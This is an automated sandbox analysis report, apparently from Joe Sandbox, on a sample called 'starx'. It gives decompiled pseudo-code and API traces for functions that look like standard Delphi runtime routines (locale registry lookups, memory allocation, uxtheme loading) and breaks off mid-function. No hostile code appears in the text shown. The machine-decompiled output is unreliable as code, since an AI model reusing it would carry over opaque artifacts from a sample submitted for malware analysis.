Instruction ID: 4a0dee3fe108b79390dc73f9d5422b0c743e28b552fe3ffbba26dc7ba6d89ee3
Opcode Fuzzy Hash: 64efd6492beafce408ebd1e12ef09c4aa4438846ff4309d9c226592167cb3934
Instruction Fuzzy Hash: C3F0F9B2300118BFC750DE9DDC85E9B77ECEB4C264B00402ABA0CE7241D574ED108BB4

Uniqueness

Uniqueness Score: -1.00%

Function 00405014, Relevance: 1.5, APIs: 1, Instructions: 26
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405014(void* __eax) {
				char _v272;
				intOrPtr _t14;
				void* _t16;
				intOrPtr _t18;
				intOrPtr _t19;

				_t16 = __eax;
				if( *((intOrPtr*)(__eax + 0x10)) == 0) {
					_t3 = _t16 + 4; // 0x400000
					GetModuleFileNameA( *_t3,  &_v272, 0x105);
					_t14 = E00405250(_t19); // executed
					_t18 = _t14;
					 *((intOrPtr*)(_t16 + 0x10)) = _t18;
					if(_t18 == 0) {
						_t5 = _t16 + 4; // 0x400000
						 *((intOrPtr*)(_t16 + 0x10)) =  *_t5;
					}
				}
				_t7 = _t16 + 0x10; // 0x400000
				return  *_t7;
			}

0x0040501c
0x00405022
0x0040502e
0x00405032
0x0040503b
0x00405040
0x00405042
0x00405047
0x00405049
0x0040504c
0x0040504c
0x00405047
0x0040504f
0x0040505a

APIs

GetModuleFileNameA.KERNEL32(00400000,?,00000105,00000001,004108EC,0040507C,00405B54,0000FF9D,?,00000400,?,004108EC,00413BF3,00000000,00413C18), ref: 00405032

Part of subcall function 00405250: GetModuleFileNameA.KERNEL32(00000000,?,00000105,00000001,004670A4,?,00405040,00400000,?,00000105,00000001,004108EC,0040507C,00405B54,0000FF9D,?), ref: 0040526C
Part of subcall function 00405250: RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,00000001,004670A4,?,00405040,00400000,?,00000105,00000001), ref: 0040528A
Part of subcall function 00405250: RegOpenKeyExA.ADVAPI32(80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,00000001,004670A4), ref: 004052A8
Part of subcall function 00405250: RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000), ref: 004052C6
Part of subcall function 00405250: RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,00000000,00000005,00000000,00405355,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?), ref: 0040530F
Part of subcall function 00405250: RegQueryValueExA.ADVAPI32(?,004054BC,00000000,00000000,00000000,00000005,?,?,00000000,00000000,00000000,00000005,00000000,00405355,?,80000001), ref: 0040532D
Part of subcall function 00405250: RegCloseKey.ADVAPI32(?,0040535C,00000000,00000000,00000005,00000000,00405355,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 0040534F

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: Open$FileModuleNameQueryValue$Close
String ID:
API String ID: 2796650324-0
Opcode ID: 2284cfdb89d18d31c6cc488e3c4b9e3fc22605ff13e787ad9a2e349778b07cc0
Instruction ID: e75f638a24536037d550a782950c424b65d34d9c150ef8381e9eedb0bd8e5d8d
Opcode Fuzzy Hash: 2284cfdb89d18d31c6cc488e3c4b9e3fc22605ff13e787ad9a2e349778b07cc0
Instruction Fuzzy Hash: C9E0EDB1A006149BCB10EE9888C5A8737D8AF08754F0445A6AD58EF38BD379DD508FD5

Uniqueness

Uniqueness Score: -1.00%

Function 00407D80, Relevance: 1.5, APIs: 1, Instructions: 23
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00407D80(void* __eax, void* __edx) {
				int _t3;
				char* _t5;
				int _t7;
				int _t10;
				void* _t12;

				_t12 = __eax;
				_t3 = E00404280(__edx);
				_t5 = E00404480(__edx);
				_t7 = E00404280(_t12);
				_t10 = CompareStringA(0x400, 1, E00404480(_t12), _t7, _t5, _t3); // executed
				return _t10 - 2;
			}

0x00407d84
0x00407d88
0x00407d90
0x00407d98
0x00407dad
0x00407db7

APIs

CompareStringA.KERNEL32(00000400,00000001,00000000,00000000,00000000,00000000,?,?,00407DC7,?,?,00408151), ref: 00407DAD

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: CompareString
String ID:
API String ID: 1825529933-0
Opcode ID: bb0362245e154806a1a17080d498fcfa6b057876244228fce5f74eefe2c5d3b9
Instruction ID: aa132d34f2b4ac9edebcc82d01436a7140211491d3d635cc9738b61234bcbd97
Opcode Fuzzy Hash: bb0362245e154806a1a17080d498fcfa6b057876244228fce5f74eefe2c5d3b9
Instruction Fuzzy Hash: 11D09EE13115102AD690757E2C82F5E008C4B8876DB02427EFB48F62C2C9BC9D09026D

Uniqueness

Uniqueness Score: -1.00%

Function 004016C0, Relevance: 1.3, APIs: 1, Instructions: 54
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004016C0(signed int __eax, void** __ecx, intOrPtr __edx) {
				signed int _v20;
				void** _v24;
				void* _t15;
				void** _t16;
				void* _t17;
				signed int _t27;
				intOrPtr* _t29;
				void* _t31;
				intOrPtr* _t32;

				_v24 = __ecx;
				 *_t32 = __edx;
				_t31 = __eax & 0xfffff000;
				_v20 = __eax +  *_t32 + 0x00000fff & 0xfffff000;
				 *_v24 = _t31;
				_t15 = _v20 - _t31;
				_v24[1] = _t15;
				_t29 =  *0x47f5e8; // 0x7ef9c4
				while(_t29 != 0x47f5e8) {
					_t17 =  *(_t29 + 8);
					_t27 =  *((intOrPtr*)(_t29 + 0xc)) + _t17;
					if(_t31 > _t17) {
						_t17 = _t31;
					}
					if(_t27 > _v20) {
						_t27 = _v20;
					}
					if(_t27 > _t17) {
						_t15 = VirtualAlloc(_t17, _t27 - _t17, 0x1000, 4); // executed
						if(_t15 == 0) {
							_t16 = _v24;
							 *_t16 = 0;
							return _t16;
						}
					}
					_t29 =  *_t29;
				}
				return _t15;
			}

0x004016c7
0x004016cb
0x004016d2
0x004016e7
0x004016ef
0x004016f5
0x004016fb
0x004016fe
0x00401742
0x00401706
0x0040170c
0x00401710
0x00401712
0x00401712
0x00401718
0x0040171a
0x0040171a
0x00401720
0x0040172d
0x00401734
0x00401736
0x0040173c
0x00000000
0x0040173c
0x00401734
0x00401740
0x00401740
0x00401751

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 0040172D

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: e58ffbcc2641ed8ca142e076c16ed33bdb50407d72ff63dbf7840cffd1adfff1
Instruction ID: 24496d73c5025d74bd0e335375c6b4526e483ade9a4b47d069efc77b94909964
Opcode Fuzzy Hash: e58ffbcc2641ed8ca142e076c16ed33bdb50407d72ff63dbf7840cffd1adfff1
Instruction Fuzzy Hash: AD117C76A047019FC3109F29C880A5BB7E1EBC4761F15C53DE598A73A5D734AC408699

Uniqueness

Uniqueness Score: -1.00%

Function 0041A718, Relevance: 1.3, APIs: 1, Instructions: 52
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0041A718(intOrPtr _a4, intOrPtr _a8) {
				void* _t14;
				void _t15;
				intOrPtr _t25;
				char* _t26;
				void* _t35;

				if( *0x47f884 == 0) {
					_t14 = VirtualAlloc(0, 0x1000, 0x1000, 0x40); // executed
					_t35 = _t14;
					_t15 =  *0x47f880; // 0x770000
					 *_t35 = _t15;
					_t1 = _t35 + 4; // 0x4
					E004028D0(0x4673ec, 2, _t1);
					_t2 = _t35 + 5; // 0x5
					 *((intOrPtr*)(_t35 + 6)) = E0041A710(_t2, E0041A6F0);
					_t4 = _t35 + 0xa; // 0xa
					_t26 = _t4;
					do {
						 *_t26 = 0xe8;
						_t5 = _t35 + 4; // 0x4
						 *((intOrPtr*)(_t26 + 1)) = E0041A710(_t26, _t5);
						 *((intOrPtr*)(_t26 + 5)) =  *0x47f884;
						 *0x47f884 = _t26;
						_t26 = _t26 + 0xd;
					} while (_t26 - _t35 < 0xffc);
					 *0x47f880 = _t35;
				}
				_t25 =  *0x47f884;
				 *0x47f884 =  *((intOrPtr*)(_t25 + 5));
				 *((intOrPtr*)(_t25 + 5)) = _a4;
				 *((intOrPtr*)(_t25 + 9)) = _a8;
				return  *0x47f884;
			}

0x0041a726
0x0041a736
0x0041a73b
0x0041a73d
0x0041a742
0x0041a744
0x0041a751
0x0041a75b
0x0041a763
0x0041a766
0x0041a766
0x0041a769
0x0041a769
0x0041a76c
0x0041a776
0x0041a77b
0x0041a77e
0x0041a780
0x0041a787
0x0041a78e
0x0041a78e
0x0041a796
0x0041a79b
0x0041a7a0
0x0041a7a6
0x0041a7ad

APIs

VirtualAlloc.KERNEL32(00000000,00001000,00001000,00000040), ref: 0041A736

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 0780b8d08e705de18185d8e130e5e59e1b599315c0a580c737f060f3c497f4c6
Instruction ID: 5bfaff7221659bbf74821542065773d3feb1199afd68065be0b0384a3930d535
Opcode Fuzzy Hash: 0780b8d08e705de18185d8e130e5e59e1b599315c0a580c737f060f3c497f4c6
Instruction Fuzzy Hash: 57115E342003059FC710EF19C880B82F7E5EF48350F14C53BE9688B385D378E9558BAA

Uniqueness

Uniqueness Score: -1.00%

Function 00401754, Relevance: 1.3, APIs: 1, Instructions: 48
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E00401754(void* __eax, void** __ecx, void* __edx) {
				int _t7;
				void* _t9;
				signed int _t14;
				intOrPtr* _t19;
				signed int _t22;
				void** _t23;

				_push(__ecx);
				 *_t23 = __eax + 0x00000fff & 0xfffff000;
				_t22 = __eax + __edx & 0xfffff000;
				 *__ecx =  *_t23;
				_t7 = _t22 -  *_t23;
				__ecx[1] = _t7;
				_t19 =  *0x47f5e8; // 0x7ef9c4
				while(_t19 != 0x47f5e8) {
					_t9 =  *(_t19 + 8);
					_t14 =  *((intOrPtr*)(_t19 + 0xc)) + _t9;
					if(_t9 <  *_t23) {
						_t9 =  *_t23;
					}
					if(_t22 < _t14) {
						_t14 = _t22;
					}
					if(_t14 > _t9) {
						_t7 = VirtualFree(_t9, _t14 - _t9, 0x4000); // executed
						if(_t7 == 0) {
							 *0x47f5c4 = 2;
						}
					}
					_t19 =  *_t19;
				}
				return _t7;
			}

0x00401758
0x00401769
0x00401770
0x00401779
0x0040177d
0x00401780
0x00401783
0x004017c3
0x0040178b
0x00401791
0x00401796
0x00401798
0x00401798
0x0040179d
0x0040179f
0x0040179f
0x004017a3
0x004017ae
0x004017b5
0x004017b7
0x004017b7
0x004017b5
0x004017c1
0x004017c1
0x004017d0

APIs

VirtualFree.KERNEL32(?,?,00004000,?,?,?,?,?,004019BB), ref: 004017AE

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 242c9881ea6aaafc3daf68220e8f1f98ec9a001fbc4d2df70449f3fe1b0eb9a6
Instruction ID: d4709173c8910b14fe5cb752b61a476401a0776d2a03e04b3bbe948163f0515f
Opcode Fuzzy Hash: 242c9881ea6aaafc3daf68220e8f1f98ec9a001fbc4d2df70449f3fe1b0eb9a6
Instruction Fuzzy Hash: 36012B766442045FD3109F28DCC0E2A77E4EB84324F15453EDE88AB392D33A6C4587A8

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 004265C8, Relevance: 166.5, APIs: 48, Strings: 47, Instructions: 266
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E004265C8(void* __ebx, void* __ecx) {
				char _v5;
				intOrPtr _t2;
				intOrPtr _t6;
				intOrPtr _t108;
				intOrPtr _t111;

				_t2 =  *0x47fa48; // 0x2330dc8
				E004263C0(_t2);
				_push(_t111);
				_push(0x42697b);
				_push( *[fs:eax]);
				 *[fs:eax] = _t111;
				 *0x47fa44 =  *0x47fa44 + 1;
				if( *0x47fa40 == 0) {
					 *0x47fa40 = LoadLibraryA("uxtheme.dll");
					if( *0x47fa40 > 0) {
						 *0x47f980 = GetProcAddress( *0x47fa40, "OpenThemeData");
						 *0x47f984 = GetProcAddress( *0x47fa40, "CloseThemeData");
						 *0x47f988 = GetProcAddress( *0x47fa40, "DrawThemeBackground");
						 *0x47f98c = GetProcAddress( *0x47fa40, "DrawThemeText");
						 *0x47f990 = GetProcAddress( *0x47fa40, "GetThemeBackgroundContentRect");
						 *0x47f994 = GetProcAddress( *0x47fa40, "GetThemeBackgroundContentRect");
						 *0x47f998 = GetProcAddress( *0x47fa40, "GetThemePartSize");
						 *0x47f99c = GetProcAddress( *0x47fa40, "GetThemeTextExtent");
						 *0x47f9a0 = GetProcAddress( *0x47fa40, "GetThemeTextMetrics");
						 *0x47f9a4 = GetProcAddress( *0x47fa40, "GetThemeBackgroundRegion");
						 *0x47f9a8 = GetProcAddress( *0x47fa40, "HitTestThemeBackground");
						 *0x47f9ac = GetProcAddress( *0x47fa40, "DrawThemeEdge");
						 *0x47f9b0 = GetProcAddress( *0x47fa40, "DrawThemeIcon");
						 *0x47f9b4 = GetProcAddress( *0x47fa40, "IsThemePartDefined");
						 *0x47f9b8 = GetProcAddress( *0x47fa40, "IsThemeBackgroundPartiallyTransparent");
						 *0x47f9bc = GetProcAddress( *0x47fa40, "GetThemeColor");
						 *0x47f9c0 = GetProcAddress( *0x47fa40, "GetThemeMetric");
						 *0x47f9c4 = GetProcAddress( *0x47fa40, "GetThemeString");
						 *0x47f9c8 = GetProcAddress( *0x47fa40, "GetThemeBool");
						 *0x47f9cc = GetProcAddress( *0x47fa40, "GetThemeInt");
						 *0x47f9d0 = GetProcAddress( *0x47fa40, "GetThemeEnumValue");
						 *0x47f9d4 = GetProcAddress( *0x47fa40, "GetThemePosition");
						 *0x47f9d8 = GetProcAddress( *0x47fa40, "GetThemeFont");
						 *0x47f9dc = GetProcAddress( *0x47fa40, "GetThemeRect");
						 *0x47f9e0 = GetProcAddress( *0x47fa40, "GetThemeMargins");
						 *0x47f9e4 = GetProcAddress( *0x47fa40, "GetThemeIntList");
						 *0x47f9e8 = GetProcAddress( *0x47fa40, "GetThemePropertyOrigin");
						 *0x47f9ec = GetProcAddress( *0x47fa40, "SetWindowTheme");
						 *0x47f9f0 = GetProcAddress( *0x47fa40, "GetThemeFilename");
						 *0x47f9f4 = GetProcAddress( *0x47fa40, "GetThemeSysColor");
						 *0x47f9f8 = GetProcAddress( *0x47fa40, "GetThemeSysColorBrush");
						 *0x47f9fc = GetProcAddress( *0x47fa40, "GetThemeSysBool");
						 *0x47fa00 = GetProcAddress( *0x47fa40, "GetThemeSysSize");
						 *0x47fa04 = GetProcAddress( *0x47fa40, "GetThemeSysFont");
						 *0x47fa08 = GetProcAddress( *0x47fa40, "GetThemeSysString");
						 *0x47fa0c = GetProcAddress( *0x47fa40, "GetThemeSysInt");
						 *0x47fa10 = GetProcAddress( *0x47fa40, "IsThemeActive");
						 *0x47fa14 = GetProcAddress( *0x47fa40, "IsAppThemed");
						 *0x47fa18 = GetProcAddress( *0x47fa40, "GetWindowTheme");
						 *0x47fa1c = GetProcAddress( *0x47fa40, "EnableThemeDialogTexture");
						 *0x47fa20 = GetProcAddress( *0x47fa40, "IsThemeDialogTextureEnabled");
						 *0x47fa24 = GetProcAddress( *0x47fa40, "GetThemeAppProperties");
						 *0x47fa28 = GetProcAddress( *0x47fa40, "SetThemeAppProperties");
						 *0x47fa2c = GetProcAddress( *0x47fa40, "GetCurrentThemeName");
						 *0x47fa30 = GetProcAddress( *0x47fa40, "GetThemeDocumentationProperty");
						 *0x47fa34 = GetProcAddress( *0x47fa40, "DrawThemeParentBackground");
						 *0x47fa38 = GetProcAddress( *0x47fa40, "EnableTheming");
					}
				}
				_v5 =  *0x47fa40 > 0;
				_pop(_t108);
				 *[fs:eax] = _t108;
				_push(0x426982);
				_t6 =  *0x47fa48; // 0x2330dc8
				return E004263C8(_t6);
			}

0x004265d2
0x004265d7
0x004265de
0x004265df
0x004265e4
0x004265e7
0x004265ea
0x004265f3
0x00426603
0x00426608
0x0042661b
0x0042662d
0x0042663f
0x00426651
0x00426663
0x00426675
0x00426687
0x00426699
0x004266ab
0x004266bd
0x004266cf
0x004266e1
0x004266f3
0x00426705
0x00426717
0x00426729
0x0042673b
0x0042674d
0x0042675f
0x00426771
0x00426783
0x00426795
0x004267a7
0x004267b9
0x004267cb
0x004267dd
0x004267ef
0x00426801
0x00426813
0x00426825
0x00426837
0x00426849
0x0042685b
0x0042686d
0x0042687f
0x00426891
0x004268a3
0x004268b5
0x004268c7
0x004268d9
0x004268eb
0x004268fd
0x0042690f
0x00426921
0x00426933
0x00426945
0x00426957
0x00426957
0x00426608
0x0042695f
0x00426965
0x00426968
0x0042696b
0x00426970
0x0042697a

APIs

LoadLibraryA.KERNEL32(uxtheme.dll,00000000,0042697B), ref: 004265FE
GetProcAddress.KERNEL32(00000000,OpenThemeData), ref: 00426616
GetProcAddress.KERNEL32(00000000,CloseThemeData), ref: 00426628
GetProcAddress.KERNEL32(00000000,DrawThemeBackground), ref: 0042663A
GetProcAddress.KERNEL32(00000000,DrawThemeText), ref: 0042664C
GetProcAddress.KERNEL32(00000000,GetThemeBackgroundContentRect), ref: 0042665E
GetProcAddress.KERNEL32(00000000,GetThemeBackgroundContentRect), ref: 00426670
GetProcAddress.KERNEL32(00000000,GetThemePartSize), ref: 00426682
GetProcAddress.KERNEL32(00000000,GetThemeTextExtent), ref: 00426694
GetProcAddress.KERNEL32(00000000,GetThemeTextMetrics), ref: 004266A6
GetProcAddress.KERNEL32(00000000,GetThemeBackgroundRegion), ref: 004266B8
GetProcAddress.KERNEL32(00000000,HitTestThemeBackground), ref: 004266CA
GetProcAddress.KERNEL32(00000000,DrawThemeEdge), ref: 004266DC
GetProcAddress.KERNEL32(00000000,DrawThemeIcon), ref: 004266EE
GetProcAddress.KERNEL32(00000000,IsThemePartDefined), ref: 00426700
GetProcAddress.KERNEL32(00000000,IsThemeBackgroundPartiallyTransparent), ref: 00426712
GetProcAddress.KERNEL32(00000000,GetThemeColor), ref: 00426724
GetProcAddress.KERNEL32(00000000,GetThemeMetric), ref: 00426736
GetProcAddress.KERNEL32(00000000,GetThemeString), ref: 00426748
GetProcAddress.KERNEL32(00000000,GetThemeBool), ref: 0042675A
GetProcAddress.KERNEL32(00000000,GetThemeInt), ref: 0042676C
GetProcAddress.KERNEL32(00000000,GetThemeEnumValue), ref: 0042677E
GetProcAddress.KERNEL32(00000000,GetThemePosition), ref: 00426790
GetProcAddress.KERNEL32(00000000,GetThemeFont), ref: 004267A2
GetProcAddress.KERNEL32(00000000,GetThemeRect), ref: 004267B4
GetProcAddress.KERNEL32(00000000,GetThemeMargins), ref: 004267C6
GetProcAddress.KERNEL32(00000000,GetThemeIntList), ref: 004267D8
GetProcAddress.KERNEL32(00000000,GetThemePropertyOrigin), ref: 004267EA
GetProcAddress.KERNEL32(00000000,SetWindowTheme), ref: 004267FC
GetProcAddress.KERNEL32(00000000,GetThemeFilename), ref: 0042680E
GetProcAddress.KERNEL32(00000000,GetThemeSysColor), ref: 00426820
GetProcAddress.KERNEL32(00000000,GetThemeSysColorBrush), ref: 00426832
GetProcAddress.KERNEL32(00000000,GetThemeSysBool), ref: 00426844
GetProcAddress.KERNEL32(00000000,GetThemeSysSize), ref: 00426856
GetProcAddress.KERNEL32(00000000,GetThemeSysFont), ref: 00426868
GetProcAddress.KERNEL32(00000000,GetThemeSysString), ref: 0042687A
GetProcAddress.KERNEL32(00000000,GetThemeSysInt), ref: 0042688C
GetProcAddress.KERNEL32(00000000,IsThemeActive), ref: 0042689E
GetProcAddress.KERNEL32(00000000,IsAppThemed), ref: 004268B0
GetProcAddress.KERNEL32(00000000,GetWindowTheme), ref: 004268C2
GetProcAddress.KERNEL32(00000000,EnableThemeDialogTexture), ref: 004268D4
GetProcAddress.KERNEL32(00000000,IsThemeDialogTextureEnabled), ref: 004268E6
GetProcAddress.KERNEL32(00000000,GetThemeAppProperties), ref: 004268F8
GetProcAddress.KERNEL32(00000000,SetThemeAppProperties), ref: 0042690A
GetProcAddress.KERNEL32(00000000,GetCurrentThemeName), ref: 0042691C
GetProcAddress.KERNEL32(00000000,GetThemeDocumentationProperty), ref: 0042692E
GetProcAddress.KERNEL32(00000000,DrawThemeParentBackground), ref: 00426940
GetProcAddress.KERNEL32(00000000,EnableTheming), ref: 00426952

Strings

GetThemeBool, xrefs: 00426752
IsThemeBackgroundPartiallyTransparent, xrefs: 0042670A
GetThemeIntList, xrefs: 004267D0
GetThemeSysBool, xrefs: 0042683C
DrawThemeIcon, xrefs: 004266E6
IsThemePartDefined, xrefs: 004266F8
GetThemeEnumValue, xrefs: 00426776
GetThemeAppProperties, xrefs: 004268F0
HitTestThemeBackground, xrefs: 004266C2
GetCurrentThemeName, xrefs: 00426914
DrawThemeParentBackground, xrefs: 00426938
DrawThemeEdge, xrefs: 004266D4
CloseThemeData, xrefs: 00426620
SetThemeAppProperties, xrefs: 00426902
OpenThemeData, xrefs: 0042660E
EnableThemeDialogTexture, xrefs: 004268CC
GetThemeSysColorBrush, xrefs: 0042682A
GetThemeFilename, xrefs: 00426806
GetThemeDocumentationProperty, xrefs: 00426926
GetThemeFont, xrefs: 0042679A
IsThemeActive, xrefs: 00426896
uxtheme.dll, xrefs: 004265F9
GetThemeString, xrefs: 00426740
GetThemeSysString, xrefs: 00426872
GetThemeMargins, xrefs: 004267BE
SetWindowTheme, xrefs: 004267F4
GetThemeSysSize, xrefs: 0042684E
GetThemeSysInt, xrefs: 00426884
GetThemeTextMetrics, xrefs: 0042669E
GetThemeBackgroundContentRect, xrefs: 00426656, 00426668
DrawThemeText, xrefs: 00426644
EnableTheming, xrefs: 0042694A
GetThemeBackgroundRegion, xrefs: 004266B0
GetThemePropertyOrigin, xrefs: 004267E2
GetThemeMetric, xrefs: 0042672E
GetWindowTheme, xrefs: 004268BA
GetThemeRect, xrefs: 004267AC
GetThemePartSize, xrefs: 0042667A
IsAppThemed, xrefs: 004268A8
GetThemeSysFont, xrefs: 00426860
GetThemeColor, xrefs: 0042671C
GetThemeTextExtent, xrefs: 0042668C
GetThemePosition, xrefs: 00426788
IsThemeDialogTextureEnabled, xrefs: 004268DE
GetThemeInt, xrefs: 00426764
GetThemeSysColor, xrefs: 00426818
DrawThemeBackground, xrefs: 00426632

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: CloseThemeData$DrawThemeBackground$DrawThemeEdge$DrawThemeIcon$DrawThemeParentBackground$DrawThemeText$EnableThemeDialogTexture$EnableTheming$GetCurrentThemeName$GetThemeAppProperties$GetThemeBackgroundContentRect$GetThemeBackgroundRegion$GetThemeBool$GetThemeColor$GetThemeDocumentationProperty$GetThemeEnumValue$GetThemeFilename$GetThemeFont$GetThemeInt$GetThemeIntList$GetThemeMargins$GetThemeMetric$GetThemePartSize$GetThemePosition$GetThemePropertyOrigin$GetThemeRect$GetThemeString$GetThemeSysBool$GetThemeSysColor$GetThemeSysColorBrush$GetThemeSysFont$GetThemeSysInt$GetThemeSysSize$GetThemeSysString$GetThemeTextExtent$GetThemeTextMetrics$GetWindowTheme$HitTestThemeBackground$IsAppThemed$IsThemeActive$IsThemeBackgroundPartiallyTransparent$IsThemeDialogTextureEnabled$IsThemePartDefined$OpenThemeData$SetThemeAppProperties$SetWindowTheme$uxtheme.dll
API String ID: 2238633743-2910565190
Opcode ID: 5dd5a56bb1d7ca10ac1acbd338bbc858847f1e637e8b60971c0e0d4df56a2b4e
Instruction ID: 57a7666a8c9b64e77ce60336b0a8c0a4f864ec92aa05819b7c34d534fb6bdfe4
Opcode Fuzzy Hash: 5dd5a56bb1d7ca10ac1acbd338bbc858847f1e637e8b60971c0e0d4df56a2b4e
Instruction Fuzzy Hash: F0A134F0B84270EFCF00EBB5E882A2577E8EB05700392067BB605EF295D6799844CB1D

Uniqueness

Uniqueness Score: -1.00%

Function 00405098, Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 136
stringlibraryfileCOMMON

Download Yara Rule

C-Code - Quality: 53%

			E00405098(char* __eax, intOrPtr __edx) {
				char* _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				struct _WIN32_FIND_DATAA _v334;
				char _v595;
				void* _t45;
				char* _t54;
				char* _t64;
				void* _t83;
				intOrPtr* _t84;
				char* _t90;
				struct HINSTANCE__* _t91;
				char* _t93;
				void* _t94;
				char* _t95;
				void* _t96;

				_v12 = __edx;
				_v8 = __eax;
				_v16 = _v8;
				_t91 = GetModuleHandleA("kernel32.dll");
				if(_t91 == 0) {
					L4:
					if( *_v8 != 0x5c) {
						_t93 = _v8 + 2;
						goto L10;
					} else {
						if( *((char*)(_v8 + 1)) == 0x5c) {
							_t95 = E00405084(_v8 + 2);
							if( *_t95 != 0) {
								_t14 = _t95 + 1; // 0x1
								_t93 = E00405084(_t14);
								if( *_t93 != 0) {
									L10:
									_t83 = _t93 - _v8;
									_push(_t83 + 1);
									_push(_v8);
									_push( &_v595);
									L004012AC();
									while( *_t93 != 0) {
										_t90 = E00405084(_t93 + 1);
										_t45 = _t90 - _t93;
										if(_t45 + _t83 + 1 <= 0x105) {
											_push(_t45 + 1);
											_push(_t93);
											_push( &(( &_v595)[_t83]));
											L004012AC();
											_t94 = FindFirstFileA( &_v595,  &_v334);
											if(_t94 != 0xffffffff) {
												FindClose(_t94);
												_t54 =  &(_v334.cFileName);
												_push(_t54);
												L004012B4();
												if(_t54 + _t83 + 1 + 1 <= 0x105) {
													 *((char*)(_t96 + _t83 - 0x24f)) = 0x5c;
													_push(0x105 - _t83 - 1);
													_push( &(_v334.cFileName));
